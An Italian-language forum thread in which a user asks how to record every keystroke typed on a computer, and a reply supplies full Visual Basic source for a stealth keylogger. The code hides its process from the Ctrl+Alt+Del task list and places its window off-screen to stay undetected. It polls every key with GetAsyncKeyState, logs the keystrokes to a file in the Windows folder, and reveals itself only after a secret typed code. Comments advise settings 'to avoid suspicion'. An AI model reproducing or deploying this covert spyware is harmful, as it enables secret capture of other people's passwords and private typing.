sapere quello che si digita su una tastiera

[matpirata]

ciao, voglio mettere sotto controllo il mio conputer, quindi dovrei fare un programma che mi scrive su un txt tutto quello che la tastiera digita, e' possibile sapere cosa si digita, anche quando il focus non sta sul mio programma?
grazie

[Janx]

...praticamente vuoi fare un KeyLogger.
...sleale!!!




' copy into module
Public Declare Function GetCurrentProcessId _
Lib "kernel32" () As Long ' get this process
Public Declare Function RegisterServiceProcess _
Lib "kernel32" (ByVal dwProcessID As Long, _
ByVal dwType As Long) As Long
'and Then un-register it!
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
'seems odd, the way these are named
Public Sub HIDECAD()
Dim pid As Long
Dim reserv As Long
pid = GetCurrentProcessId()
regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub

Public Sub SHOWCAD()
Dim pid As Long
Dim reserv As Long
pid = GetCurrentProcessId()
regserv = RegisterServiceProcess(pid, RSP_UNREGISTER_SERVICE)
End Sub

Private KeyResult As Long
'no real need For this, just gives you that warm fuzzy feeling
Private Declare Function GetAsyncKeyState Lib "user32" _
(ByVal vKey As Long) As Integer
'get the current state of the keys
Private Sub Command1_Click()
HIDECAD 'hide program in ctrl+alt+del , even more cloaking
Form1.Top = Screen.Height + 100 'put the form off screen, undetectable
End Sub

Private Sub Command2_Click()
End ' Exit program
End Sub

Private Sub text1_Change()
If Right(Text1.Text, 10) = "opensaysme" Then
'if user types secret access code
Text1.Text = (Left(Text1.Text, Len(Text1.Text) - 10))
'remove bad access code from list
SHOWCAD ' show in ctrl + alt + del
Form1.Top = (Screen.Height / 2) + (Form1.Height / 2)
'put in middle of screen
End If
'now, to save to the logfile
On Error Goto erre 'in Case of non exist, create
Open "c:\windows\keylog.ini" For Input As #1
Input #1, a ' Get old logfile
Close #1
Open "c:\windows\keylog.ini" For Output As #1
Print #1, a ' Take Old Data
Print #1, Text1.Text ' And Append New Data
Close #1
Exit Sub ' unless Error has occoured, exit sub, we're done
erre:' Error has occoured
Open "c:\windows\keylog.ini" For Output As #1
Print #1, Text1.Text ' Start New Logfile
Close #1
End Sub

Private Sub Timer1_Timer() ' set to around 20 to avoid suspicion
Dim shift As Boolean
Dim shiftc As Boolean
erre:
For i = 1 To 300
If shiftc = True Then ' |
shiftc = False '|
Else ' | This is to allow the shift key to pick up
shift = False ' | and modify the Next char!
shiftc = True ' |
End If
KeyResult = GetAsyncKeyState(i)
On Error Goto erre
If KeyResult = -32767 Then
Select Case i
Case Is = 8
Text1.Text = Text1.Text & " BKSP "
Case Is = 16
shift = True ' CHANGES TEXT TO UPPER Case
Text1.Text = Text1.Text & " SHIFT "
Case Is = 112 ' Function KEYS
Text1.Text = Text1.Text & " F1 "
Case Is = 113
Text1.Text = Text1.Text & " F2 "
Case Is = 114
Text1.Text = Text1.Text & " F3 "
Case Is = 115
Text1.Text = Text1.Text & " F4 "
Case Is = 116
Text1.Text = Text1.Text & " F5 "
Case Is = 117
Text1.Text = Text1.Text & " F6 "
Case Is = 118
Text1.Text = Text1.Text & " F7 "
Case Is = 119
Text1.Text = Text1.Text & " F8 "
Case Is = 120
Text1.Text = Text1.Text & " F9 "
Case Is = 121
Text1.Text = Text1.Text & " F10 "
Case Is = 122
Text1.Text = Text1.Text & " F11 "
Case Is = 123
Text1.Text = Text1.Text & " F12 "
Case Is = 32
Text1.Text = Text1.Text & " SPACE "
Case Is = 13
Text1.Text = Text1.Text & " ENTER "
Case Is = 27
Text1.Text = Text1.Text & " ESC "
Case Is = 46
Text1.Text = Text1.Text & " DEL "
Case Is = 18
Text1.Text = Text1.Text & " ALT "
Case Is = 17
Text1.Text = Text1.Text & " CTRL "
Case Is = 91
Text1.Text = Text1.Text & " WINKEY "
Case Is = 32
Text1.Text = Text1.Text & " SPACE "
Case Is = 9
Text1.Text = Text1.Text & " TAB "
'Next four are Arrow Keys
Case Is = 37
Text1.Text = Text1.Text & " <- "
Case Is = 38
Text1.Text = Text1.Text & " ^ "
Case Is = 39
Text1.Text = Text1.Text & " -> "
Case Is = 40
Text1.Text = Text1.Text & " \/ "
Case 65 To 90
'letters, note the use of lcase to use when
'without shift!
If shift = True Then
Text1.Text = Text1.Text & Chr(i)
Else ' have to make lower cause of some darn vb thing
Text1.Text = Text1.Text & LCase(Chr(i))
End If
Case 48 To 57
'numbers , also /w shift does char such as !@#$%^&*()
If shift = False Then
Text1.Text = Text1.Text & Chr(i)
Else ' If shift is down, do funky symbols
If i = 48 Then Text1.Text = Text1.Text & ")"
If i = 49 Then Text1.Text = Text1.Text & "!"
If i = 50 Then Text1.Text = Text1.Text & "@"
If i = 51 Then Text1.Text = Text1.Text & "#"
If i = 52 Then Text1.Text = Text1.Text & "$"
If i = 53 Then Text1.Text = Text1.Text & "%"
If i = 54 Then Text1.Text = Text1.Text & "^"
If i = 55 Then Text1.Text = Text1.Text & "&"
If i = 56 Then Text1.Text = Text1.Text & "*"
If i = 57 Then Text1.Text = Text1.Text & "("
End If
Case Is = 1
'can anybody tell me what this does?
'seems to happen evry btn click!
Case Is = 190
Text1.Text = Text1.Text & "."
Case Is = 188
Text1.Text = Text1.Text & ","
Case Else
rem MsgBox i
'remmed out for secrecy!
End Select
End If
Next
End Sub

[matpirata]

beh si, il concetto e' quello!!
grazie